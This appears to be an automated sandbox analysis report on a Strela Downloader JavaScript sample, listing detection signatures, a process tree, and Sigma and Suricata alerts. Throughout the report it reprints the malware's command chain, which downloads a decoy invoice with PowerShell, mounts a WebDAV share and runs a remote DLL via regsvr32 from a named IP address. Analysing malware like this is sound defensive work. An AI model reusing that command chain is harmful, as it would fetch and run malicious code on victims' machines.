Edit tour

Windows Analysis Report
2843421561127533345.js

Overview

General Information

Sample name:	2843421561127533345.js
Analysis ID:	1587898
MD5:	7af46243e094c324c843a5274538cb0f
SHA1:	dce9c95308c56ca2532cd969ba43bce661f814cd
SHA256:	0e74a3688da10adf39147f04229cdb4f017e7edca5912d9984fed1a8651f8751
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6392 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5768 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2788 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5548 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2676 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7232 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1608,i,17778285800311555354,14425289030959085275,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6176 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 432 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3192 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6392	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5768, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2788, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5768, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2788, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js", ProcessId: 6392, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 432, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49709

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6392, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ProcessId: 5768, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6392, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ProcessId: 5768, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6392, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ProcessId: 5768, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6392, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ProcessId: 5768, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6392, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ProcessId: 5768, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js", ProcessId: 6392, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5768, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2788, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6176, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 432, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3192, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6176, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 432, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6392, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ProcessId: 5768, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:08:02.253240+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49709	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:07:59.204167+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2843421561127533345.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2843421561127533345.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49709 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:07:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49709

Source: global traffic

TCP traffic: 192.168.2.5:49709 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

